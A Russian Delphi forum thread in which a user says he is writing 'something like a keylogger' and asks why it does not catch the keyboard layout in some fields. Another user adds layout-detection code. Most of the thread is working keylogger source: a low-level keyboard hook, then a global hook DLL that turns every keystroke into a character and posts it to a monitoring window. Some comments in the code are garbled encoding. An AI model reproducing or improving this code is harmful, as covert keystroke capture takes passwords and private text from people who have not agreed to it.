Определение раскладки клавиатуры

@NotBeginner · Регистрация: 22.02.2013

Студворк — интернет-сервис помощи студентам

пишу что то наподобие кейлогера. Есть однка проблема - не везбде определяет раскладку (ie10 например). В адресной строке норм определяет -eng или rus, а вот в других полях нет
Вот код:

Delphi
1
2
3
4
5
6
7
8
procedure InstallHook;
const
 WH_KEYBOARD_LL = 13;
begin
 hHook:=SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
 if hHook=0
 then RaiseLastOSError;
end;

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function LowLevelKeyboardProc(nCode: Integer;
  WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
 
  type
  PKbdDllHookStrukt = ^TKbdDllHookStrukt;
  _KBDLLHOOKSTRUCT = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
 
const
 RPT_WPARAM_DATA = '%s';
 RPT_LPARAM_DATA = '%d';
 
var
 StrResult: string;
begin
 StrResult:='';
 if nCode=HC_ACTION
 then Result:=CallNextHookEx(hHook, nCode, WParam, LParam);
 
 case WParam of
  WM_KEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
  WM_KEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
  WM_SYSKEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
  WM_SYSKEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
 end;
 
 StrResult:=Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
 
 VKey:=strtoint(strresult);
 Form1.Memo1.Lines.Add(Chr(VKey)+'/'+StrResult);
end;

помогите!

Добавлено через 1 час 24 минуты
up!

Добавлено через 3 часа 29 минут
help

@NIKOLAYY · 07.10.2013, 00:50

Сообщение от NotBeginner

не везбде определяет раскладку

Вот этот код когда-то собирал- у меняопределет бес сбоев, пременные тока глобально и код на таймер поставиш

Таймер проверяверяет какая раскладка и если сменилась запишет.

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var
  Form1: TForm1;
  rasEN: string; //ðàñêëàäêà EN
  rasRU: string; //ðàñêëàäêà RU
//.....
//.....
 
begin
  rasRU := rasEN;
  if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) =
    67699721 then
    //ðàñêëàäêà àíãëèéñêàÿ
    rasEN := 'Ðàñêëàäêà êëàâèàòóðû- EN ' + #13#10
  else
    //ðàñêëàäêà ÍÅàíãëèéñêàÿ, íàïðèìåð 68748313 ñîîòâåòñòâóåò ðóññêîé
    rasEN := 'Ðàñêëàäêà êëàâèàòóðû- RU ' + #13#10;
  if rasEN <> rasRU then
  begin
    memo1.Text := memo1.Text + rasEN;
  end;
end;

Добавлено через 2 минуты
Кстати ты кейлогер не на основе GetAsyncKeyState собирал?

@NotBeginner · 07.10.2013, 01:08 **[ТС]**

Сообщение от NIKOLAYY

Кстати ты кейлогер не на основе GetAsyncKeyState собирал?

неа
щас попробую твой код

@NotBeginner · 08.10.2013, 20:14 **[ТС]**

сделал вот так

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
[SPOILER]library hookDLLkey;
 
uses
  Windows,Messages,
  dialogs;
 
const
  WM_KEYEVENT = WM_USER+1;
 
var
  HookHandle: HHOOK = 0 ;
  KeybrdState:TKeyboardState;
  Symbol:array[0..1] of char;
 
function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
begin
  if CODE = HC_ACTION then               
   if ((LParam or (1 shl 30))=LParam) then
    begin
     ServerWnd:=FindWindow(nil,'Monitoring <BSSF>');
     GetKeyboardState(KeybrdState);
     ScanCode:=(LParam shr 16)and $FF;
 
 
     if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
      PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam) 
                                                         else
      PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;
 
 function SetHookKey(Hook : Boolean) : Boolean; export; stdcall;
begin
  Result := false;
  if Hook
  then
    begin
      if HookHandle = 0
      then
        HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
      Result := (HookHandle <> 0);
    end
  else
    begin
      if HookHandle <> 0
      then
        begin
          UnhookWindowsHookEx(HookHandle);
          HookHandle := 0;
          Result := true;
        end;
    end;
end;
 
exports
  SETHOOKKEY index 2;
  
begin
end.[/SPOILER]

все работает, но есть одно НО -
Запускаю программу(раскладка русская) - нажимаю "а" меняю язык нажимаю снова "а" - вместо "f" о5 выводится "а". как исправить???

Добавлено через 8 часов 12 минут
как я понял такое происходит из за того что раскладка в моей программе и в том приложении, в котором отслеживаю нажатие клавиш, разные. Не знаю верное ли это решение - пытаюсь делать вот так -
определяю раскладку в моей приложении и сравниваю ее с раскладкой в активном окне, если они разные то я в своем приложении меняю раскладку. Но почему то такой способ тоже не помог

Кликните здесь для просмотра всего текста

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
library hookDLLkey;
 
uses
  Windows,Messages, SysUtils,
  dialogs;
 
const
  WM_KEYEVENT = WM_USER+1;
 
var
  HookHandle: HHOOK = 0 ;
  KeybrdState:TKeyboardState;
  Symbol:array[0..1] of char;
 
 {активная раскладка в своей программе}   
function GetActiveKbdLayout : LongWord;
begin   
result:= GetKeyboardLayout(0) shr $10;   
end;
 
{активная раскладка в активном окне}   
function GetActiveKbdLayoutWnd : LongWord;
var
hWindow,idProcess : THandle;
begin   
// получить handle активного окна чужой программы   
hWindow := GetForegroundWindow;   
// Получить идентификатор чужого процесса   
idProcess := GetWindowThreadProcessId(hWindow,nil);   
// Получить текущую раскладку в чужой программе   
Result:=(GetKeyboardLayout(idProcess) shr $10);   
end;
 
{установить раскладку в своей программе}   
procedure SetKbdLayout(kbLayout : LongWord);
var   
Layout: HKL;   
begin   
// Получить ссылку на раскладку   
Layout:=LoadKeyboardLayout(PChar(IntToStr(kbLayout)), 0);   
// Переключить раскладку на русскую   
ActivateKeyboardLayout(Layout,KLF_ACTIVATE);   
end;
 
 
function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
  ks : TKeyboardState;
  hk:Cardinal;
begin
  // если раскладка в приложении и активном окне разная
  if  (GetActiveKbdLayout<> GetActiveKbdLayoutWnd) then
  // устонавливаем в приложении ту жу раскладку что и в октивном окне
      SetKbdLayout(GetActiveKbdLayoutWnd)
  if CODE = HC_ACTION then
   if ((LParam or (1 shl 30))=LParam) then
    begin
     ServerWnd:=FindWindow(nil,'Monitoring <BSSF>');
     GetKeyboardState(ks);
     hk:=GetKeyboardLayout(GetCurrentThreadId);
     ScanCode:=(LParam shr 16)and $FF;
     if ToAscii(WParam,ScanCode,ks,@Symbol,hk)>0 then
       PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
     else
       PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;
 
 function SetHookKey(Hook : Boolean) : Boolean; export; stdcall;
begin
  Result := false;
  if Hook
  then
    begin
      if HookHandle = 0
      then
        HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
      Result := (HookHandle <> 0);
    end
  else
    begin
      if HookHandle <> 0
      then
        begin
          UnhookWindowsHookEx(HookHandle);
          HookHandle := 0;
          Result := true;
        end;
    end;
end;
 
exports
  SETHOOKKEY index 2;
  
begin
end.

Добавлено через 1 час 52 минуты
help

Добавлено через 1 час 35 минут
ребят помогите пожайлуста очень хочу разобраться

Добавлено через 2 часа 56 минут
скажите хотя бы куда дальше копать?

Добавлено через 3 часа 2 минуты
up!

Добавлено через 1 час 13 минут
можно удалятть

Новые блоги и статьи Все статьи Все блоги /
SDL3 для Desktop (MinGW): Создаём пустое окно с нуля для 2D-графики на SDL3, Си и C++ 8Observer8 10.03.2026 Содержание блога Финальные проекты на Си и на C++: hello-sdl3-c. zip hello-sdl3-cpp. zip Результат:	Установка CMake и MinGW 13.1 для сборки С и C++ приложений из консоли и из Qt Creator в EXE 8Observer8 10.03.2026 Содержание блога MinGW - это коллекция инструментов для сборки приложений в EXE. CMake - это система сборки приложений. Здесь описаны базовые шаги для старта программирования с помощью CMake и. . .	Как дизайн сайта влияет на конверсию: 7 решений, которые реально повышают заявки Neotwalker 08.03.2026 Многие до сих пор воспринимают дизайн сайта как “красивую оболочку”. На практике всё иначе: дизайн напрямую влияет на то, оставит человек заявку или уйдёт через несколько секунд. Даже если у вас. . .	Модульная разработка через nuget packages DevAlt 07.03.2026 Сложившийся в . Net-среде способ разработки чаще всего предполагает монорепозиторий в котором находятся все исходники. При создании нового решения, мы просто добавляем нужные проекты и имеем. . .
Модульный подход на примере F# DevAlt 06.03.2026 В блоге дяди Боба наткнулся на такое определение: В этой книге («Подход, основанный на вариантах использования») Ивар утверждает, что архитектура программного обеспечения — это структуры,. . .	Управление камерой с помощью скрипта OrbitControls.js на Three.js: Вращение, зум и панорамирование 8Observer8 05.03.2026 Содержание блога Финальная демка в браузере работает на Desktop и мобильных браузерах. Итоговый код: orbit-controls-threejs-js. zip. Сканируйте QR-код на мобильном. Вращайте камеру одним пальцем,. . .	SDL3 для Web (WebAssembly): Синхронизация спрайтов SDL3 и тел Box2D 8Observer8 04.03.2026 Содержание блога Финальная демка в браузере. Итоговый код: finish-sync-physics-sprites-sdl3-c. zip На первой гифке отладочные линии отключены, а на второй включены:. . .	SDL3 для Web (WebAssembly): Идентификация объектов на Box2D v3 - использование userData и событий коллизий 8Observer8 02.03.2026 Содержание блога Финальная демка в браузере. Итоговый код: finish-collision-events-sdl3-c. zip Сканируйте QR-код на мобильном и вы увидите, что появится джойстик для управления главным героем. . . .